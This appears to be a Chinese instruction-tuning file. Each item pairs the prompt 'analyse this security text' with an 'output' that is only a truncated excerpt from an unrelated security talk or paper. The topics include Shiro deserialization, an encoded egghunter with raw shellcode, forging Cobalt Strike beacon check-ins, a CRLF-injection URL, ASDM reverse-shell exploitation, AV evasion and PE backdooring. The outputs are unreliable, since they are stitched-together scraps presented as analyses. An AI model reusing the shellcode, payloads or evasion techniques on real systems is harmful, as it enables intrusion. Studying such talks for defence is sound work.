3. 在 rememberIdentity 方法中，首先调用 convertPrincipalsToBytes 方法，将 principals 进
行处理，处理第一步是进行序列化，也就是 serialize 方法，这个方法最终调用的是
org.apache.shiro.io.DefaultSerializer.class#serialze 方法
4. 在完成序列化之后会再返回 convertPrincipalsToBytes 方法，对字节数组调用 encrypt 方法进
行加密。 AbstractRememberMeManager.class#encrypt
5. 在 encrypt 方法中，首先是获取加密服务，而这个加密服务是一个 AES 加密算法，之后首先通过
getEncryptionCipherKey 方法获取加密密钥，然后进入 encrypt 方法。
6. 在 JcaCipherService.class 中，最终调用本类的 encrypt 方法进行加密，最后返回结果。
7. 然后返回结果，再次回到 rememberIdentity 方法中，进入 rememberSerializedIdentity 方
法，该方法的具体实现类是 CookieRememberMeManager.class#rememberSerializedIdentity
8. 这个方法的主要作用是对 AES 加密后的数据进行 base64 编码，然后返回存入 cookie 当中。
解密过程跟踪调试
1. 首先在加密过程中调用的 AbstractRememberMeManager.class 类中找到 decrypt 方法，这个也
是解密调用的函数。下断点查看堆栈的调用情况。
2. 当我们发起请求访问时，会根据是否存在 rememberMe 字段进行一系列的判断。如果请求中存在
rememberMe 字段，则会对传递的这个 cookie 值进行获取，解密等一系列操作。具体的实现体现
在 AbstractRememberMeManager.class#getRememberedPrincipals 方法中，通过这个方法去判
断是否存在 rememberMe 字段，并且从 cookie 中获取该字段值。
3. 具体跟进，查看详情。在第86行获取到请求中的 rememberMe 字段值，然后进行 base64 解码后返
回。返回上一步后的 bytes 数组不为空直接进行下一步的解密处理，否则直接返回空。
4. 此处 bytes 数组不为空，进入 convertBytesToPrincipals 函数，跟踪进入。在第137行进入解
密过程，解密完成后返回结果。
5. 但此时，我们的数据是错误的，使用密钥无法解密，则会产生一个报错，进入到
AbstractRememberMeManager.class#getRememberedPrincipals 方法的 catch 当...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Steganography in Commonly
Used HF Radio Protocols
@pdogg77     @TheDukeZip
pdogg
● Paul / pdogg /
@pdogg77
● Day Job: Security
Researcher at Confer
Technologies Inc.
● Hobby: Licensed as
an amateur radio
operator in 1986,
ARRL VE
● This is my second
trip to DEF CON
thedukezip
● Brent / thedukezip / @thedukezip
● Software &
Systems Engineer (RF)
● Licensed ham radio op
since 2006, ARRL VE
Why You Shouldn't Do This And
Why We Didn't Do It On The Air
FCC Regulations (Title 47 – Part 97)
§ 97.113 Prohibited transmissions.
(a) No amateur station shall transmit:
…
(4) Music using a phone emission except as specifically
provided elsewhere in this section; communications intended
to facilitate a criminal act; messages encoded for the purpose
of obscuring their meaning, except as otherwise provided
herein; obscene or indecent words or language; or false or
deceptive messages, signals or identification.
How This Project Started...
Final Warning Slide...
● Hackers + Drinks = Project
● WANC - We are not cryptographers
● We are not giving cryptographic advice
● You should talk to a cryptographer
● If you are a cryptographer, we welcome your
input
What?
We set out to demonstrate it was possible (or
impossible) to create a:
● Low Infrastructure
● Long Range
● Covert
● Point to Point, Broadcast or Mesh
● Short Message Protocol
Using existing consumer radio and computer
equipment, leveraging a commonly used digital mode
Why?
● Avoid censorship
● Avoid spying
● We believe you have the right to communicate
without this interference
● You COULD use our method to communicate,
OR use similar techniques to create your own
method
… Or “The Terrorists”
No Internet?
Amateur radio operators have expertise in this!
Amateur Radio
● Many frequency bands reserved for amateur
radio operators to communicate
● Voice chat, digital modes...
● Take a multiple choice test to get licensed
● Reminder: The rules say you can't do what
we're showing you...
AirChat
● Anonymous
Lulzla...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

From BUG to 0day – Busting the perimeter
egghunter_wtf = (
“%JMNU%521*TX-1MUU-1KUU-5QUUP\AA%J"
"MNU%521*-!UUU-!TUU-IoUmPAA%JMNU%5"
"21*-q!au-q!au-oGSePAA%JMNU%521*-D"
"A~X-D4~X-H3xTPAA%JMNU%521*-qz1E-1"
"z1E-oRHEPAA%JMNU%521*-3s1--331--^"
"TC1PAA%JMNU%521*-E1wE-E1GE-tEtFPA"
"A%JMNU%521*-R222-1111-nZJ2PAA%JMN"
"U%521*-1-wD-1-wD-8$GwP”
)
Mati Aharoni – Offensive Security
From BUG to 0day – Busting the perimeter
• 0wnage via 0day is l33t!
• Real World Exploit Development challenges.
• Live session overview of the HP NNM exploit development cycle.
• The experience was so horrible I had to share it.
• Lots of olly.
• Find the bug .
• Figuring out it’s a SEH.
• Figuring out Alpha Numeric restrictions for  first payload.
• Finding an “alternate” short jump over RET address.
• Finding a place in the buffer / memory for our second final payload.
• Figuring out that an egghunter would be ideal as 1st payload.
• Figuring out that we need to manually encode our shellcode.
The journey begins
Manual Encoding of 1st stage shellcode (egghunter)
• Figuring out the allowed instruction sets.
• Aligning EAX with stack location where shellcode will be decoded.
• “Encoding” the egghunter using AND, SUB ,ADD.
• “Decoding” the egghunter and PUSHing it onto the stack.
• Running the egghunter.
• Hitting our second and final payload.
• Dang it, give me a shell!
Limited range of allowed characters
\x01\x02\x03\x04\x05\x06\x07\x08\x09\x31\x32\x33\x34\x35\x36\x37
\x38\x39\x3b\x3c\x3d\x3e\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a
\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a
\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a
\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a
\x7b\x7c\x7d\x7e\x7f
We can’t short jump - “\xeX” range not allowed.
We will need to manually encode our payload  :/
\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x49\x49\x49\x49
\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x37\x51\x5a\x6a\x41
\x58\x50\x30\x41\x30\x4...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

信息流上线了一个CS上线器 https://i.hacking8.com/cobaltspam
我是照着 https://github.com/hariomenkel/CobaltSpam 来改的，而CobaltSpam是https://github.co
m/Sentinel-One/CobaltStrikeParser fork修改的，后者是用于解析beacon配置的仓库，从中可以学到
一些原理 - =
介绍
CS为了兼容MSF，默认配置将stage下载的uri硬编码了 ,
所以访问
就能得到beacon，从中能够解析到C2的各种配置信息。
接着就是定位到数据，具体怎么找的可以看 https://blog.xpnsec.com/tailoring-cobalt-strike-on-targe
t/
寻找的代码
URL_PATHS = {'x86':'ab2g', 'x64':'ab2h'}
full_url = urljoin(url, URL_PATHS[arch])
执行完就能得到beacon的配置信息了
上线
参考文章: https://wbglil.gitbook.io/cobalt-strike/cobalt-strike-yuan-li-jie-shao/cs-mu-biao-shang-xia
n-guo-cheng
CS的上线，只需要beacon信息中的公钥(从代码中发现的)，以及用户自定义的请求包。这些都可以从上
述的beacon解析中获得。
cs teamserver会通过rsa解密出上线信息，所以我们编写上线函数的时候只需要把上线信息通过rsa加
密，公钥是beacon解析出来的。
上线信息结构
可以直接看源码 https://github.com/mai1zhi2/CobaltstrikeSource
decomplie_src\cobaltstrike4.1\common\BeaconEntry.java
根据源码，我整理了一份字段表格
名称
描述
占用字
节
aes key
aes key
16
ANSI code
page
编码
2
OEM code
page
编码
2
bid
beacon id，这个id用来标记心跳状态，用这个id连续发包就可以标
记心跳
4
pid
beacon进程的pid
4
var7
这短短2字节，可以包含 barch、is64、isUac
2
ver
两个字节两个字节读取，最后形式是 x.x
4
build
build信息
2
junk
不知道有什么用的字节，CobaltSpam直接随机的
12
intz
内网地址
4
填充到第51位，填充的都用\x00
之后是三个字符串，用\t分割
'\t'.join([机器名称, 用户名称, 注入到的进程名称])
这些数据都可以自定义，比较关注的几个在CS页面上显示的数据
在CobalSpam中上线信息在 comm.py 文件上。
上线结构解析
一般的信息直接按上面的结构填充就行，下面是一些额外需要关注的字段。
external ip是请求过去的ip，cobalspam作者使用tor来伪造各种ip，我看源码发现如果配置了
trust_x_forwarded_for选项，会使用X-Forwarded-For信息作为ip数据。默认是不配置的，但这个
功能是有用的，有的cs server用nginx反代，用cdn等等，都需要加这个字段，否则就看不到目标
的ip。
如果设置uac选项，user后面就会自动加上 * 号，同时图标也会有一个闪闪发光的东西。var7字段
两个字节，却能设置三个参数 barch、is64、isUac，2byte = 8bit，所以实际可以设置8个布尔选
项(目前只用了三个),相关的代码片段如下
图标是怎么来的？cs第一个对应的小框框，这个地方我找了好久，终于找到对应设置的字段了。
先看怎么识别操作系统
self.is64 = True
self.barch = "x32"
self.bypassuac = True
if self.is64:
    self.is64 = 4
else:
    self.is64 = 0
if self.barch == "x64":
    self.is64 += 2
if self.bypassuac:
    self.is64 += 8
根据beacon id来的，如果id是单数，就说明这是一个ssh，而 BeaconEntry 类刚好有个判断，如
果是ssh的话，会用 注入到的进程名称 来代表操作系统。
知道了设置的地方，但还是不知道设置为何值才会显示图标，于是去resources看了下，搜了下图
片的文件名 windows7.png ,找到了。
在 dec...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Disclaimer: This presentation is based upon personal research that was not supported
or authorized by my employer. The material being presented may be considered offensive to
those with weak hearts or those highly invested in technology funds.
Robert Stucke
bobx@rot26.net
DNS Has Been Found
To Be Hazardous To Your
Health
Use With Caution
About Me
Phoenix @ 90K feet!
Agenda
 DNS Bit-Squatting
 Misunderstood end-point DNS behavior
 You don’t own that domain, I do
 Abandoned Botnets and Forgotten Toys
Bit-Squatting
Presented by Artem Dinaburg at Blackhat and Defcon in
2011
 Project Page
http://dinaburg.org/bitsquatting.html
 Presentation Video
http://youtu.be/lZ8s1JwtNas
 Presentation Slides
http://dinaburg.org/data/DC19_Dinaburg_Presentation.pdf
Bit-Squatting
 What is it?
 Why does it happen?
 What is the impact?
Bit-Squatting
Bit-Squatting
0110011101101111011011110110
0110011101101101011011110110
Bit-Squatting
What is Bit-Squatting?
 Anticipate the way a single bit error in
memory will corrupt the DNS name
 Registering those mangled domains
 Rapture, Mayhem, Yay!
Bit-Squatting
01100111011011110110111101100111011011000110010100101110011000110110111101101101
01100111011011110110111101100110011011000110010100101110011000110110111101101101
google.com
goofle.com
Bit-Squatting
What causes these memory errors?
 Heat
 Electrical Problems
 Radioactive Contamination
 Cosmic Rays!
Bit-Squatting
Phones
Bit-Squatting
“The guidance we give to data center operators is to raise
the thermostat. “
“Many data centers operate at 70 degrees or below. We’d
recommend looking at going to 80 degrees”
- Erik Teetzel
Energy Program Manager at Google
The peak operating temperature Google’s Belgium
data center reaches is 95 degrees Fahrenheit!
Bit-Squatting
Bit-Squatting
gstatic.com
Google domain for serving static content
CSS
Images
Javascript
XML
Bit-Squatting
gstatic.com
fstatic.com
estatic.com
cstatic.com
ostatic.com
wstatic.com
grtatic.com
gqtatic.com
gwtatic.com
gctatic.co...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

AddHandler example-handler .sum
 application/x-httpd-twf
 application/x-httpd-twf

mod_twf.so——
0x00
0x01

cs:_Z15ub_error_handleP11request_rec_ptr //
cs:_Z17mobileapp_handlerP11request_rec_ptr //mobileapp
cs:_Z16webstore_handlerP11request_rec_ptr //webstore
cs:_Z12nexttwf_mainP11request_rec_ptr //nexttwf_main
cs:_Z14twf_auth_checkP11request_rec_ptr //twf_auth_check
sub_152E90
sub_1533B0

 application/x-httpd-twf
0x02 twf_auth_check

 url=req.url
v3 = *(const char **)(req + 336);

find / -name "*.log" -type f | xargs grep -s "MOD_TWF"

0x03
 /hislog/20210417.log //
 /var/log/webui/20210420.log //
tail -200f /var/log/webui/20210420.log
tail -f /var/log/webui/20210420.log | strings

tail -1000f /var/log/webui/20210420.log | strings | grep "MOD_TWF"

 /por/%0A%0Dlogin_auth.csp?abc=1

 /por/login_auth.csp?abc=1%0A%0D

0x04


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Web渗透测试之逻辑漏洞
挖掘
演讲嘉宾：hackbar
上海银基信息安全技术股份有限公司
简单VS复杂
1.思考
1.1、利用工具简单：
数据包抓取工具（Burpsuit、fiddler等）
1.2、思路复杂：
核心：
绕过真实用户身份或正常业务流程达到预期的目的
1.2.1、用户身份：认证
用户身份特性认证
本地认证
服务器端认证
1.2.2、业务流程：对业务的熟悉程度（各种类
型的网站、业务模式）
电信网厅业务清单图解
2、逻辑漏洞类型
支付漏洞
密码找回漏洞
任意用户登录漏洞
认证缺陷（弱认证、认证凭证获取）
接口枚举
越权（有条件的越权：空值绕过）
。。。。。。。
2.1、支付漏洞
2.1.1、支付漏洞突破口：
一、订单相关
1.选择商品时修改商品价格；
2.选择商品时将商品数量设为负数；
3.商品剩余1时，多人同时购买，是否产生冲突；
4.商品为0时是否还能购买；
5.生成订单时修改订单金额；
二、结算相关
1.优惠打折活动多次重复使用；
2.拦截数据包，修改订单金额；
3.拦截数据包，修改支付方式；
4.伪造虚假订单，刷单；
2.1.1、支付漏洞突破口：
三、支付相关
1.拦截数据包，伪造第三方确认信息；
2.保存用户付款信息被窃取；
四、退货相关
1、绕过商家确认直接退货；
2、绕过商品类型直接退货；(退货是否允许)
五、收货相关
1、绕过客户确认直接收货；
2.2、密码重置漏洞
用户密码找回方式：
手机验证码、邮箱、密保问题、自动生成新密码、密码找回链接
发送、
2.2.1、密码重置突破口：
认证凭证暴力破解
认证凭证回显
认证凭证重复使用
重新绑定
用户身份特性认证
服务器端认证
本地认证
密码找回流程绕过
。。。。。。。
2.3、任意用户登录
空密码绕过
身份替换
认证凭证篡改
。。。。。。。
2.4、认证缺陷漏洞
弱验证
空验证
认证凭证有效性&唯一性
2.5、越权漏洞
普通越权
未授权访问（登录凭证验证）
绕过授权模式（参数构造等）
2.6、接口枚举
业务接口因为没有做验证或者验证机制缺陷，容易遭到枚举攻击
撞库
订单、优惠券等遍历
3、案例分享
支付漏洞
任意用户密码重置漏洞
任意用户登录漏洞
3.1.1、支付漏洞
一分钱看电影
3.1.1、支付漏洞
一分钱看电影
3.1.1、支付漏洞
一分钱看电影
3.1.1、支付漏洞
一分钱看电影
3.1.1、支付漏洞
一分钱看电影
3.1.1、支付漏洞
一分钱看电影
3.1.2支付漏洞
某商城任意积分
兑换
3.1.2支付漏洞
某商城任意积
分兑换
由于积分不够，
无法兑换:
3.1.2支付漏洞
某商城任意积
分兑换
由于积分不够，
无法兑换，但
是可以通过修
改数据包返回
值，让页面前
端显示兑换功
能键
3.1.2支付漏洞
某商城任意积
分兑换
由于积分不够，
无法兑换，但
是可以通过修
改数据包返回
值，让页面前
端显示兑换功
能键
3.1.2支付漏洞
某商城任意积
分兑换
3.1.2支付漏洞
某商城任意积
分兑换
3.1.2支付漏洞
某商城任意积
分兑换
3.1.2支付漏洞
某商城任意积
分兑换
3.1.2支付漏洞
某商城任意积
分兑换
3.1.3支付漏洞
某系统增值业
务免费使用
3.1.3支付漏洞
某系统增值业
务免费使用
3.1.3支付漏洞
某系统增值业
务免费使用
3.1.3支付漏洞
某系统增值业
务免费使用
3.1.3支付漏洞
某系统增值业
务免费使用
3.1.3支付漏洞
某系统增值业
务免费使用
3.1.3支付漏洞
某系统增值业
务免费使用
3.1.3支付漏洞
某系统增值业
务免费使用
3.1.3支付漏洞
某系统增值业
务免费使用
3.2.1密码重置漏洞
认证凭证脆弱性
3.2.1密码重置漏洞
认证凭证脆弱性
3.2.1密码重置漏洞
认证凭证脆弱性
3.2.1密码重置漏洞
认证凭证脆弱性
3.2.1密码重置漏洞
认证凭证脆弱性
3.2.1密码重置漏洞
认证凭证脆弱性
3.2.1密码重置漏洞
认证凭证脆弱性
3.2.1密码重置漏洞
认证凭证脆弱性
商户版
3.2.1密码重置漏洞
认证凭证脆弱性
商户版
3.2.1密码重置漏洞
认证凭证脆弱性
商户版
3.2.2密码重置漏洞
认证凭证有效性
&唯一性
3.2.2密码重置漏洞
认证凭证有效性
&唯一性
3.2.2密码重置漏洞
认证凭证有效性
&唯一性
3.2.2密码重置漏洞
认证凭证有效性
&唯一性
3.2.2密码重置漏洞
认证凭证有效性
&唯一性
3.2.2密码重置漏洞
认证凭证有效性
&唯一性
3.2.2密码重置漏洞
认证凭证有效性
&唯一性
3.2.2密码重置漏洞
认证凭证有效性
&唯一性
3.2.3密码重置漏洞
认证凭证回显
3.2.3密码重置漏洞
认证凭证回显
3.2.3密码重置漏洞
认...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Breaking Bluetooth
By Being Bored
JP Dunning
DefCon 2010
© Shadow Cave LLC
JP Dunning
Graduate Student:
Computer Science, Virginia Tech
Research Focus:
Wireless and Portable Security
Website:
www.hackfromacave.com
© Shadow Cave LLC
© Shadow Cave LLC
Bluetooth
● IEEE 802.15.1
● Low Power / Short Range
● Ad-Hoc (Piconet)
● Deployed on over 1 billions devices worldwide
© Shadow Cave LLC
Obfuscation and Reconnaissance
© Shadow Cave LLC
Cloning/Spoofing Profile
● Bluetooth Profile:
– Device Address, Device Class, Device Name
● Bluetooth Profile Cloning:
– Modify host Bluetooth Adapter profile to match
the profile of another device
– Done manually using hciconfig and bdaddr
● Bluetooth Profile Spoofing:
– Creating a misleading profile of host Bluetooth
Adapter
© Shadow Cave LLC
SpoofTooph
● Automate / simplify Bluetooth profile
modification process
● Useful for
– Obfuscation
– Impersonations
– Observation
● 5 different modes
© Shadow Cave LLC
SpoofTooph
● Mode 1: > spooftooph -i hci0 -s -d scan.log
– Scan local area for devices
– Save list of devices found
– Select a device from the list to clone
● Mode 2: > spooftooph -i hci0 -r
– Randomly generate Bluetooth profile
● Device Class – Random Valid Class
● Device Name - 100 most popular Ameraican
names + device type
● Device Addr – Random MAC
© Shadow Cave LLC
SpoofTooph
● Mode 3: > spooftooph -i hci0 -n new_name -a
00:11:22:33:44:55 -c 0x4a010c
– Specify Name, Class, and Address
● Mode 4: > spooftooph -i hci0 -l scan.log
– Read in previously logged scan
– Select a device from the list to clone
● Mode 5: > spooftooph -i hci0 -t 10
– Incognito: Scan for devices every X seconds
and clone the first profile on the list
© Shadow Cave LLC
SpoofTooph
© Shadow Cave LLC
Bluetooth Profiling Project
● Collect Device Name, Device Address and
Device Class on as many devices as possible
● Same idea as Josh Wright's Bnap,Bnap, but
collecting device profiles from others devices
instead
● Collected over 1,500 device profiles so f...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Outsmarting the Smart City
DISCOVERING AND ATTACKING THE TECHNOLOGY THAT RUNS
MODERN CITIES
&
2
Page
Researcher Bios
• Daniel Crowley
• Research Baron at IBM X-Force Red
• Pen tester since 2004
• Locksport enthusiast and past competition winner
• Actually holds the title of Baron (in Sealand)
3
Page
Researcher Bios
• Jennifer Savage
• Security Researcher at Threatcare
• Black Hat review board member
• Experience includes:
̶
development
̶
vulnerability assessment
̶
vulnerability management
̶
penetration testing
̶
security research
4
Page
Researcher Bios
• Mauro Paredes
• Managing Consultant at IBM X-Force Red
• Passion for security flaws and their corrections
• Formerly developer, net/server admin, security architect
• Pen tester for many years
• 20+ years infosec experience in multiple industries
5
Page
What kind of tech makes a city “smart”?
• Industrial Internet of Things
• Urban Automation
• Public Safety / Emergency Management
• Intelligent Transportation Systems
• Metropolitan Area Networks
6
Page
Limited citizen privacy and risk management options
• You don’t have to buy an Alexa
• You can buy a non-smart TV
• You can buy a feature phone (or forego a cell phone)
• You can buy an ancient car
• Can you move to a city that isn’t “smart”?
7
Page
V2I, V2V, OBD-III and DSRC
Connected vehicles communicate with each other, and with city infrastructure, as travel occurs.
While DSRC allows unique identification, the proposed OBD-III standard is much more powerful.
8
Page
Hangzhou “City Brain”
“In China, people have less concern with privacy, which allows us to move faster”
- Xian-Sheng Hua, manager of AI at Alibaba at World Summit AI in 2017
9
Page
Smart streetlights with cameras
GE’s Bill Ruh says it’s up to each city to set policies around the data
collected by the sensors and how it can be used.
10
Page
Facial recognition
In 2017 the former head of Singapore’s civil service Peter Ong said Singapore
wants to deploy facial recognition technology to all 110,000 la...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Do Not Trust the ASA, Trojans!
Jacob Baines
Lead Security Researcher, Rapid7
August 11, 2022
2
Introduction
Adaptive Security Appliance (ASA)
Original ASA
ASA-X
ASA-X with FirePOWER Services
3
ASAv Product Landing Page
Introduction
ASA Virtual Appliance (ASAv)
4
Firepower 9300 Series
Firepower 1000 Series
Firepower 2100 Series
Firepower 4100 Series
Secure Firewall 3100 Series
Secure Firewall ISA3000
ASA Service Module
ASA Software Landing Page
Introduction
Sort of ASA
5
Introduction
Adaptive Security Appliance (ASA)
6
Introduction
Do Not Trust the ASA
7
ASDM Product Landing Page
Introduction
Adaptive Security Device Manager (ASDM)
8
Request pdm.sgz
pdm.sgz
Admin session
Load and
execute SGZ
contents
Understanding ASDM
Starting ASDM Client Overview
9
Exploiting ASDM
ASDM Client Does Not Verify the Server Cert
10
Exploiting ASDM
ASDM/ASA Man in the Middle
11
Exploiting ASDM
Man in the Middle with mitmproxy
12
Contents of 7.18.1 SGZ
-
13472 class ﬁles
-
6 jars
-
1 prop ﬁle
-
4 properties ﬁles
-
3 txt ﬁles
-
1 SIGNATURE ﬁles
github.com/jbaines-r7/getchoo
Exploiting ASDM
What’s in the SGZ?
13
Cisco ASDM RCE Vulnerability (CVE-2021-1585)
Exploiting ASDM
SGZ Client Logic Isn’t Veriﬁed (CVE-2021-1585)
14
1. Administrator connects to
attacker using the ASDM client
2. The attacker responds with a
malicious SGZ ﬁle.
3. A reverse shell is established from
the Administrator to the attacker
Exploiting ASDM
CVE-2021-1585 Exploited via Evil Endpoint
15
Exploitation
-
Missing SSL veriﬁcation (No CVE) plus
SGZ code not veriﬁed (CVE-2021-1585)
-
Evil endpoint or Man in the Middle
CVE-2021-1585
-
Disclosed in July 2021 with no patch
-
Failed patch in June 2022
-
Remains unpatched as of July 2022
Public Exploits
-
staystaystay
-
Metasploit module
github.com/jbaines-r7/cisco_asa_research/
tree/main/modules/cve_2021_1585
github.com/jbaines-r7/staystaystay
Exploiting ASDM
CVE-2021-1585 Exploits
16
Crafting a Malicious ASDM Package
Hacker Cat Can’t Get Inside Corpnet
17
Crafting a Ma...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

windows特权滥用攻击
本文主要介绍利用windows特权滥用进行本地权限提升攻击。
特权滥用的bug
以高权限运行的进程(一般指system权限)会像其他进程一样对文件进行各类操作(如增删改查)，当高权限
进程在没有进行任何防御措施的情况下访问用户文件或者是目录时则有可能造成安全问题。我们一般所
熟知的此类问题有DLL planting或者是利用可写服务操作等，但除此之外还有其他的文件系统的攻击方
法可以被我们利用，且由于此类攻击属于逻辑漏洞，不涉及内存操作所以不会像内核提权那样有太多的
版本限制以及可能造成的bsod等风险。
漏洞位置
用户可写项
一般用户(普通用户)可以写入的位置如下：
用户自己的目录、文件，包括其appdata和temp文件夹，一般高权限进程不会访问此类文件，AV
除外。
public的文件、目录
C:\ProgramData及其子目录
C:\Windows\Temp及其子目录
至于一个文件目录的权限查看方式则有很多 AccessChk, icacls ,Get-Acl等，最简单的就是直接用GUI的
文件夹查看器：
特权文件操作
这个简单的方法就是procmon来看了，直接过滤指定事件即可。
但这些仅为进程自己执行的操作，如果你想深入挖掘更多的信息如ALPC、COM等等的话，则需要自己
逆向相关程序。
漏洞利用
这个已经有了N多的利用文章了，根据情况来使用即可：
https://googleprojectzero.blogspot.com/2015/08/windows-10hh-symbolic-link-mitigations.html
https://googleprojectzero.blogspot.com/2015/12/between-rock-and-hard-link.html
https://googleprojectzero.blogspot.com/2016/02/the-definitive-guide-on-win32-to-nt.html
https://googleprojectzero.blogspot.com/2017/08/windows-exploitation-tricks-arbitrary.html
https://googleprojectzero.blogspot.com/2018/04/windows-exploitation-tricks-exploiting.html
https://googleprojectzero.blogspot.com/2019/03/windows-kernel-logic-bug-class-access.html
并且开源了利用工具：https://github.com/googleprojectzero/symboliclink-testing-tools 及.net库：h
ttps://github.com/googleprojectzero/sandbox-attacksurface-analysis-tools/tree/master/NtApiDot
Net
NTFS junctions
NTFS链接，有点类似于linux下面的mount功能，即允许将文件设置为文件系统的挂载点。
如图所示，在打开C:\Dir\file.txt 时将打开C:\Other\file.txt，也可以进行跨卷操作，比如将C:\Dir\重定向
到D:\Dir\，一般可以利用symboliclink-testing-tools中的CreateMountPoint 工具来实现这一点，如果
只是单纯的想要创建链接的话，可以使用mklink或者powershell中的New-Item的-Type Junction 参
数。
Hard links
硬链接，含义与linux中的含义相同，不支持目录和跨卷操作(无意义)
symboliclink-testing-tools中的CreateHardLink可以进行此类操作，此类攻击在win10中得到缓解，其
缓解如下：
所以在新版本的windows中，如果使用NtApiDotNet库来进行创建硬链接的话，会显示以下情况：
Object Manager symbolic links
虽然 NTFS 确实提供文件系统符号链接，但在 Windows 上，非特权用户无法在文件系统上创建符号链
接：它需要SeCreateSymbolicLinkPrivilege，默认情况下仅授予管理员。然而，非特权用户可以在
Windows 的对象管理器中创建符号链接，顾名思义，它管理诸如进程和文件之类的对象。用户可以在可
写对象目录中创建对象符号链接，例如\RPC CONTROL\，这些符号链接可以指向任意路径——包...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Screw Being A Pentester -
When I Grow Up I Want To Be A
Bug Bounty Hunter
Jake Kouns
@jkouns
Chief Information Security Officer (CISO)
Risk Based Security
Carsten Eiram
@CarstenEiram
Chief Research Officer (CRO)
Risk Based Security
N O T   J U S T   S E C U R I T Y  ,    T H E   R I G H T   S E C U R I T Y
N O T   J U S T   S E C U R I T Y  ,    T H E   R I G H T   S E C U R I T Y
Risk Based Security
Community offerings:
Commercial offerings:
Information Security:
Career Decisions
N O T   J U S T   S E C U R I T Y  ,    T H E   R I G H T   S E C U R I T Y
N O T   J U S T   S E C U R I T Y  ,    T H E   R I G H T   S E C U R I T Y
IT Security Career Choices!
N O T   J U S T   S E C U R I T Y  ,    T H E   R I G H T   S E C U R I T Y
N O T   J U S T   S E C U R I T Y  ,    T H E   R I G H T   S E C U R I T Y
IT Security Career Choices – Blue vs. Red!
N O T   J U S T   S E C U R I T Y  ,    T H E   R I G H T   S E C U R I T Y
N O T   J U S T   S E C U R I T Y  ,    T H E   R I G H T   S E C U R I T Y
IT Security Career Choices – Red Team!
N O T   J U S T   S E C U R I T Y  ,    T H E   R I G H T   S E C U R I T Y
N O T   J U S T   S E C U R I T Y  ,    T H E   R I G H T   S E C U R I T Y
Pentester – Good Things About Red Teams
N O T   J U S T   S E C U R I T Y  ,    T H E   R I G H T   S E C U R I T Y
N O T   J U S T   S E C U R I T Y  ,    T H E   R I G H T   S E C U R I T Y
Red Teams = Pentester
N O T   J U S T   S E C U R I T Y  ,    T H E   R I G H T   S E C U R I T Y
N O T   J U S T   S E C U R I T Y  ,    T H E   R I G H T   S E C U R I T Y
Pentester - Painful At Times?
N O T   J U S T   S E C U R I T Y  ,    T H E   R I G H T   S E C U R I T Y
N O T   J U S T   S E C U R I T Y  ,    T H E   R I G H T   S E C U R I T Y
Pentester - Painful At Times?
Also the option of becoming an
independent pentester!
Don’t have to work for ”the man”, but
work time breakdown is roughly:
– 1/3 actual pentesting (fun)
– 1/3 administrative tasks and documentatio...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

1
Bypass Antivirus Dynamic Analysis
Limitations of the AV model and how to exploit them
Date of writing: 08/2014
Author: Emeric Nasi – emeric.nasi[at]sevagas.com
Website: http://www.sevagas.com/
License: This work is licensed under a Creative Commons Attribution 4.0 International License
Note: This paper requires some knowledge C and Windows system programming
2
1. Introduction
« Antivirus are easy to bypass », « Antivirus are mandatory in defense in depth », «This Cryptor is FUD»
are some of the sentence you hear when doing some researches on antivirus security. I asked myself,
hey is it really that simple to bypass AV? After some research I came (like others) to the conclusion that
bypassing Antivirus consists in two big steps:

Hide the code which may be recognized as malicious. This is generally done using encryption.

Code the decryption stub in such a way it is not detected as a virus nor bypassed by
emulation/sandboxing.
In this paper I will mainly focus on the last one, how to fool antivirus emulation/sandboxing systems.
I’ve set myself a challenge to find half a dozen of ways to make a fully undetectable decryption stub (in
fact I found way more than that). Here is a collection of methods. Some of those are very complex (and
most “FUD cryptor” sellers use one of these). Others are so simple I don’t understand why I’ve never
seen these before. I am pretty sure underground and official virus writers are fully aware about these
methods so I wanted to share these with the public.
2. Table of Contents
1.Introduction ......................................................................................................................................... 2
2.Table of Contents ................................................................................................................................. 2
3.Bypassing Antivirus theory ......................................................................................................


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

SECURITY PAPER
Preparation Date: 11 Dec 2016
Art of Anti Detection – 2
PE Backdoor Manufacturing
Prepared by:
Ege BALCI
Penetration Tester
ege.balci<at>invictuseurope.com
INVICTUS
2
Security Paper
TABLE OF CONTENT
1. Abstract:.....................................................................................................................................................3
2. Introduction.............................................................................................................................................. 3
3. Terminology..............................................................................................................................................3
4. Main Methods...........................................................................................................................................4
5. Available Space Problem.......................................................................................................................5
6. Hijacking Execution Flow....................................................................................................................10
7. Injecting Backdoor Code.....................................................................................................................14
8. Restoring Execution Flow.................................................................................................................. 17
9. Conclusion...............................................................................................................................................18
10. References:...........................................................................................................................................20
INVICTUS
3
Security Paper
1. Abstract:
This paper will explain several methods used for placing backdoors in PE(Portable
Executable) files for red team purposes, in order to fully grasp the content of this paper,
readers needs to have at least inter...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Behind the Scenes of the
Badge
by Joe Grand
aka Kingpin
Me.
electrical engineer.
hardware hacker.
product designer.
Retrospective: DEFCON 14
Retrospective: DEFCON 15
Retrospective: DEFCON 15
Retrospective: DEFCON 16
Retrospective: DEFCON 16
Retrospective: DEFCON 17
Retrospective: DEFCON 17
Badges by Christmas?
★ Fall 2009: Initial brainstorming (DT, Black Beetle, Neil)
★ January 2010: Preliminary design & parts selection
★ January: Prototype hardware design
